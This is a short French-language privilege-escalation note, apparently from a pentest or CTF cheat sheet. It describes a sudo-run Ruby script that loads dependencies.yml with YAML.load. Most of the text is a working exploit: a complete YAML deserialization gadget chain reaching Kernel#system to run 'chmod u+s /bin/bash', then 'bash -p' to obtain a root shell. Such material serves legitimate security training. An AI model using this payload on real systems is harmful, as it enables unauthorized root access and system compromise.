Dans le cas d'un script faisant appel à un fichier .yml via "YAML.load", il est possible de faire une désérialization afin de faire exécuter une commande. Exemple: Un script ruby, utilisable via sudo: ```ruby # Compare installed dependencies with those specified in "dependencies.yml" require "yaml" require 'rubygems' # TODO: update versions automatically def update_gems() end def list_from_file YAML.load(File.read("dependencies.yml")) end def list_local_gems Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]} end gems_file = list_from_file gems_local = list_local_gems gems_file.each do |file_name, file_version| gems_local.each do |local_name, local_version| if(file_name == local_name) if(file_version != local_version) puts "Installed version differs from the one specified in file: " + local_name else puts "Installed version is equals to the one specified in file: " + local_name end end end end ``` On voit l'utilisation de la fonction YAML.load faisant un appel à dependencies.yml. ### Exploit Création d'un fichier "dependencies.yml" dans le répertoire courant: ```yaml --- - !ruby/object:Gem::Installer i: x - !ruby/object:Gem::SpecFetcher i: y - !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: "abc" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod u+s /bin/bash method_id: :resolve ``` Après exécution du script ruby via sudo, la commande ```bash chmod u+s /bin/bash ``` est exécutée. Il ne reste plus qu'à faire: ```bash bash -p ``` et nous voila root.